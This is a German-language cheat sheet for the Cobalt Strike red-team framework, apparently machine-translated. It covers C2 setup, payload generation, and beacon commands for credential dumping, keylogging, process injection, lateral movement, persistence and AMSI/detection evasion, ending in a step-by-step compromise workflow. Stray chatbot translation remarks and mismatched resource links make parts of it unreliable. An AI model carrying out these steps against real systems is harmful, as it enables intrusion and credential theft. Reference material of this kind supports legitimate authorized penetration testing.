Überblick
Cobalt Strike ist eine kommerzielle Penetrationstesting- und Red-Team-Operationsplattform, die entwickelt wurde, um fortschrittliche Bedrohungsakteure zu emulieren. Es bietet ein Post-Exploitation-Framework, das Operatoren ermöglicht, Beacons (Agenten) auf kompromittierten Systemen zu implementieren, Kommando- und Kontrollkanäle (C2) zu etablieren und verschiedene offensive Sicherheitsoperationen durchzuführen.
⚠️ Warnung: Cobalt Strike ist ein kommerelles Sicherheitstestwerkzeug, das nur in Umgebungen verwendet werden sollte, in denen Sie eine ausdrückliche Erlaubnis haben.
Kernkomponenten
Team Server
- Zentraler Kommando- und Kontrollserver
- Läuft auf Linux
- Verwaltet Beacons und Listener
- Bietet Zusammenarbeit für Teamoperationen
Client
- Java-basierte GUI-Anwendung
- Verbindet sich mit Team Server
- Schnittstelle für Operatoren zur Interaktion mit Beacons
- Visualisiert Zielnetzwerke
Beacon
- Primäre Nutzlast für Post-Exploitation
- Stellt Kommunikation mit Team Server her
- Bietet verschiedene Möglichkeiten für offensive Operationen
- Kann in verschiedenen Kommunikationsmodi arbeiten
Einrichtung und Konfiguration
Team Server Einrichtung
# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]
# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Client Einrichtung
1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
- Host: <team_server_ip>
- Port: 50050 (default)
- User: <username>
- Password: <password>
4. Verify SSL certificate fingerprint
Listener
Listener erstellen
1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
- Name: <listener_name>
- Payload: <beacon_type>
- Host: <callback_domain_or_ip>
- Port: <port_number>
- Profile: <malleable_c2_profile>
4. Click "Save"
Listener-Typen
| Typ | Beschreibung |
|---|
| HTTP | Verwendet HTTP für C2-Kommunikation |
| HTTPS | Verwendet HTTPS für C2-Kommunikation |
| DNS | Verwendet DNS-Abfragen für stealthes Command and Control |
| SMB | Verwendet benannte Pipes für Peer-to-Peer C2 |
| TCP | Verwendet direkte TCP-Verbindungen |
| Foreign | Integriert mit anderen C2-Frameworks |
Nutzlast-Generierung
Beacon-Nutzlasttypen
Attacks > Packages > <payload_type>
| Payload-Typ | Beschreibung |
|---|
| Windows Executable | Standard .exe-Datei |
| Windows Service EXE | Service-Executable |
| DLL | Dynamische Verknüpfungsbibliothek |
| PowerShell | PowerShell One-Liner |
| Python | Python-Skript |
| Office Macro | Makro für Office-Dokumente |
| Shellcode | Roher Shellcode |
Artifact Kit
Attacks > Packages > Windows Executable (S)
- Generiert benutzerdefinierte Nutzlasten mit Umgehungstechniken
- Modifiziert Signaturen zur Vermeidung von Erkennung
- Anpassbare Vorlagen
Beacon-Befehle
Sitzungsverwaltung
| Befehl | Beschreibung |
|---|
help | Hilfe-Informationen anzeigen |
sleep [seconds] [jitter%] | Schlafzeit und Jitter festlegen |
checkin | Sofortige Check-in erzwingen |
exit | Beenden Sie die Beacon-Sitzung |
clear | Lösche die Beacon-Aufgabenwarteschlange |
jobs | Laufende Jobs auflisten |
jobkill [JID] | Einen laufenden Job beenden |
mode dns | Wechseln Sie in den DNS-Modus |
mode dns-txt | Wechseln Sie in den DNS-TXT-Modus |
mode dns6 | Wechseln Sie in den DNS6-Modus |
mode http | Wechseln Sie in den HTTP-Modus |
mode smb | Wechseln Sie in den SMB-Modus |
| Befehl | Beschreibung |
|---|
hostname | Hostname abrufen |
ipconfig | Netzwerkkonfiguration anzeigen |
netstat | Netzwerkverbindungen anzeigen |
ps | Laufende Prozesse auflisten |
tasklist | Alternative zu ps |
getuid | Aktuelle Benutzer-ID abrufen |
whoami | Detaillierte Benutzerinformationen abrufen |
pwd | Aktuelles Arbeitsverzeichnis ausgeben |
drives | Verfügbare Laufwerke auflisten |
dir [directory] | Dateien im Verzeichnis auflisten |
ls [directory] | Alternative zu dir |
net [command] | Führen Sie den net-Befehl aus |
reg query [path] | Abfrage-Registry |
sysinfo | Systeminfo abrufen |
Dateioperationen
| Befehl | Beschreibung |
|---|
cd [directory] | Verzeichnis wechseln |
cp [source] [destination] | Eine Datei kopieren |
mkdir [directory] | Erstelle ein Verzeichnis |
mv [source] [destination] | Eine Datei verschieben oder umbenennen |
rm [file] | Eine Datei löschen |
rmdir [directory] | Ein Verzeichnis löschen |
cat [file] | Dateiinhalte anzeigen |
download [file] | Eine Datei vom Ziel herunterladen |
upload [file] | Eine Datei auf das Ziel hochladen |
timestomp [file] [template] | Datei-Timestamps ändern |
ls-acl [file] | Datei-Berechtigungen auflisten |
Prozessoperationen
| Befehl | Beschreibung |
|---|
execute [program] | Ausführen ohne Ausgabe zu erfassen |
shell [command] | Ausführen und Ausgabe erfassen |
run [program] | Ein Programm ausführen |
runas [user] [password] [program] | Als anderer Benutzer ausführen |
pth [user] [domain] [hash] | Pass-the-Hash zum Erstellen eines Tokens |
steal_token [pid] | Token vom Prozess stehlen |
make_token [domain] [user] [password] | Ein Token erstellen |
rev2self | Zum ursprünglichen Token zurückkehren |
getprivs | System-Berechtigungen aktivieren |
getsystem | Versuch, SYSTEM-Privilegien zu erlangen |
execute-assembly [file.exe] | .NET Assembly im Speicher ausführen |
powerpick [command] | PowerShell ohne powershell.exe ausführen |
powershell [command] | PowerShell-Befehl ausführen |
psinject [pid] [command] | PowerShell in bestimmtem Prozess ausführen |
shinject [pid] [arch] [file.bin] | Shellcode in Prozess injizieren |
dllinject [pid] [file.dll] | DLL in Prozess injizieren |
dllload [file.dll] | DLL in Beacon-Prozess laden |
Laterale Bewegung
| Befehl | Beschreibung |
|---|
psexec [target] [listener] | Verwende PsExec zum Bereitstellen von Beacon |
psexec_psh [target] [listener] | PsExec mit PowerShell verwenden |
winrm [target] [listener] | WinRM zur Bereitstellung von Beacon verwenden |
wmi [target] [listener] | WMI verwenden, um Beacon zu deployen |
ssh [target:port] [user] [pass] [listener] | SSH verwenden, um Beacon zu deployen |
ssh-key [target:port] [user] [key] [listener] | SSH mit Schlüsselauthentifizierung verwenden |
dcsync [domain] [user] | Verwende DCSync zum Extrahieren von Passwort-Hashes |
jump [method] [target] [listener] | Zum Ziel springen mit angegebener Methode |
remote-exec [method] [target] [command] | Befehl auf Remote-System ausführen |
Pivoting
| Befehl | Beschreibung |
|---|
rportfwd [bind port] [forward host] [forward port] | Reverse-Port-Weiterleitung einrichten |
rportfwd stop [bind port] | Reverse Port Forwarding stoppen |
socks [port] | SOCKS-Proxy-Server starten |
socks stop | SOCKS-Proxy-Server stoppen |
spunnel [host] [port] | Verschlüsselten Tunnel über SMB erstellen |
spunnel stop | Verschlüsselten Tunnel stoppen |
covertvpn [interface] [IP/Mask] | Covert VPN-Schnittstelle bereitstellen |
covertvpn stop | Stopp Covert VPN |
pivot [host] [port] | Liste Pivot-Listener |
pivotlistener [host] [port] | Pivot-Listener erstellen |
Post-Exploitation
| Befehl | Beschreibung |
|---|
mimikatz [command] | Mimikatz-Befehl ausführen |
hashdump | Passwort-Hashes ablegen |
logonpasswords | Anmeldeinformationen aus dem Speicher extrahieren |
keylogger [pid] | Keylogger starten |
screenshot [pid] | Screenshot aufnehmen |
screenwatch [pid] | Ziel-Bildschirm beobachten |
printscreen | Bildschirmfoto mit Druck der Druck-Taste (PrintScreen) aufnehmen |
reg query [path] | Abfrage-Registry |
powerview [command] | PowerView-Befehl ausführen |
portscan [targets] [ports] [discovery method] | Nach offenen Ports scannen |
browserpivot [pid] [port] | Web-Sitzungen mit Authentifizierung kapern |
chromedump | Chrome Cookies und Anmeldedaten exportieren |
persist [method] [listener] | Persistenz einrichten |
elevate [exploit] [listener] | Versuch der Rechteausweitung |
Malleable C2 Profile
Grundlegende Struktur
# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
# HTTP staging
http-stager \\\\{
set uri "/jquery-3.3.1.min.js";
client \\\\{
header "Accept" "text/javascript, application/javascript, */*";
\\\\}
server \\\\{
header "Content-Type" "application/javascript";
\\\\}
\\\\}
# HTTP client
http-get \\\\{
set uri "/api/v1/data";
client \\\\{
header "Accept" "application/json";
metadata \\\\{
base64;
prepend "session=";
append ";";
header "Cookie";
\\\\}
\\\\}
server \\\\{
header "Content-Type" "application/json";
output \\\\{
json \\\\{
"status" "success";
"data" "";
\\\\}
prepend "\\\\{\"data\":\"";
append "\"\\\\}";
base64;
\\\\}
\\\\}
\\\\}
Profile testen
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile
# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Aggressor-Skripte
Grundlegende Skriptstruktur
# Event handlers
on beacon_initial \\\\{
println("New beacon: " . $1);
\\\\}
# Aliases (custom commands)
alias hello \\\\{
blog($1, "Hello, World!");
\\\\}
# Menus
popup beacon_bottom \\\\{
item "Custom Command" \\\\{
blog($1, "Executing custom command...");
bshell($1, "whoami");
\\\\}
\\\\}
# Functions
sub get_system_info \\\\{
bshell($1, "systeminfo");
\\\\}
Häufige Skriptfunktionen
| Funktion | Beschreibung |
|---|
blog($1, "message") | Auf Beacon-Konsole schreiben |
bshell($1, "command") | Shell-Befehl ausführen |
bpowershell($1, "command") | PowerShell-Befehl ausführen |
bpowerpick($1, "command") | PowerShell ohne powershell.exe ausführen |
bexecute_assembly($1, "/path/to/file.exe") | .NET Assembly ausführen |
bdllspawn($1, "/path/to/file.dll") | Reflective DLL injizieren |
bpsexec($1, "target", "listener") | PsExec laterale Bewegung ausführen |
bwmi($1, "target", "listener") | WMI laterale Bewegung ausführen |
bwinrm($1, "target", "listener") | WinRM laterale Bewegung ausführen |
OPSEC-Überlegungen
Prozess-Injektion
# Set parent process for new processes
ppid [pid]
# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe
# Mask command-line arguments
argue [command] [fake arguments]
# Block non-Microsoft DLLs
blockdlls start
blockdlls stop
Umgehungstechniken
The translation maintains the original markdown formatting, keeps technical terms in English, and preserves the overall structure and punctuation.```
Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]
stage \\{
set obfuscate “true”;
set stomppe “true”;
set cleanup “true”;
\\}
Disable AMSI
amsi_disable
Use smarter process injection
smartinject
- Create a listener (Cobalt Strike > Listeners)
- Generate a payload (Attacks > Packages)
- Deliver payload to target
- Wait for beacon check-in
- Check current privileges: getuid
- Attempt to get SYSTEM: getsystem
- If unsuccessful, try specific exploits: elevate [exploit] [listener]
- Verify new privileges: getuid
- Dump hashes: hashdump
- Dump credentials from memory: logonpasswords
- Use Mimikatz for advanced options: mimikatz [command]
- Extract domain hashes (if DC): dcsync [domain] [user]
- Identify targets: net view
- Choose lateral movement technique:
- psexec [target] [listener]
- winrm [target] [listener]
- wmi [target] [listener]
- Verify new beacon check-in
- Choose persistence method:
- persist [method] [listener]
- schtasks [options]
- service [options]
- registry [options]
- Verify persistence works
- Document persistence mechanisms for cleanup
https://www.cobaltstrike.com/help-beacon#
# Ressourcen
- [Offizielle Cobalt Strike Dokumentation](
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
- [Cobalt Strike Benutzerhandbuch](
https://github.com/BC-SECURITY/Malleable-C2-Profiles)
- [Malleable C2 Profile](
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_aggressor_script.htm)
- [Aggressor Script Dokumentation](
https://attack.mitre.org/software/S0154/)
- [Cobalt Strike MITRE ATT&CK Zuordnung](
Would you like me to confirm or clarify any part of the translation?